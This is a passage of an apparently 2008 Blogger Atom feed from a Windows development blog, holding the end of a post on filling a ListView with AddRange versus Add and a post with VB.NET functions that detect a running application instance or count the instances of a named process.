&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;And the result is:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://lh3.ggpht.com/teemuhh/SMD2Pmw4OjI/AAAAAAAAABo/Iw7XbZYAJEE/s1600-h/ListViewAddRange%5B2%5D.jpg&quot;&gt;&lt;img style=&quot;border-width: 0px;&quot; alt=&quot;Timing of ListView.AddRange method&quot; src=&quot;http://lh3.ggpht.com/teemuhh/SMD2QCf6nqI/AAAAAAAAABs/ix9WVsO-S9Q/ListViewAddRange_thumb.jpg?imgmax=800&quot; border=&quot;0&quot; width=&quot;244&quot; height=&quot;101&quot; /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h4&gt;Add method versus AddRange method&lt;/h4&gt;

&lt;p&gt;The conclusion is very clear. AddRange method offers the fastest way to fill ListView control. In the sample codes above the AddRange method was five times faster compared to Add method. This does not make Add method obsolete by any means. When you are dealing with only a few or a few hundreds of items, you may well use Add method.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/134462730261170298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/134462730261170298' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/134462730261170298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/134462730261170298'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/fastest-way-to-fill-listview-control.html' title='The fastest way to fill ListView control'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/teemuhh/SMD2PR56w9I/AAAAAAAAABk/Gs8wnBh1AMQ/s72-c/ListViewAdd_thumb.jpg?imgmax=800" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-7364887728516692420</id><published>2008-08-26T07:54:00.001-07:00</published><updated>2008-08-26T07:54:59.987-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Process"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Check if application is running</title><content type='html'>&lt;p&gt;Sometimes you have to prevent user from starting more than one instance of your application. First you have to check if your application is already running.&lt;/p&gt;  &lt;p&gt;VB.NET code snippet below returns true if a second instance of the application has been started.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Check if an instance of this application is running&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; IsProcessRunning() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Process.GetProcessesByName(Process.GetCurrentProcess.ProcessName).GetUpperBound(0) &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;If the function returns true, you may show a message box to tell the user that application is already running.&lt;/p&gt;

&lt;p&gt;The function above can be made more general by giving process name as a parameter. Below is a modified version that returns number of running process instances.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Return number of process instances&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;ProcessName&quot;&amp;gt;Processes friendly name&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;Number of instances&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; ProcessesRunning(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; ProcessName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; Process.GetProcessesByName(ProcessName).GetUpperBound(0) + 1
 &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; 0
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;Now you can check, for example, how many instances of the Notepad are running:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&quot;There are &quot;&lt;/span&gt; &amp;amp; ProcessesRunning(&lt;span class=&quot;str&quot;&gt;&quot;Notepad&quot;&lt;/span&gt;).ToString &amp;amp; _
 &lt;span class=&quot;str&quot;&gt;&quot; Notepad instances running&quot;&lt;/span&gt;, _
 &lt;span class=&quot;str&quot;&gt;&quot;Process Count&quot;&lt;/span&gt;, _
 MessageBoxButtons.OK, _
 MessageBoxIcon.Information)&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;You can use also this version to test if your application is running:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; ProcessesRunning(Process.GetCurrentProcess.ProcessName) &amp;gt; 1 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; Second instance was started&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; If&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;And then notify user that the application is already running.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/7364887728516692420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/7364887728516692420' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7364887728516692420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7364887728516692420'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/08/check-if-application-is-running.html' title='Check if application is running'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>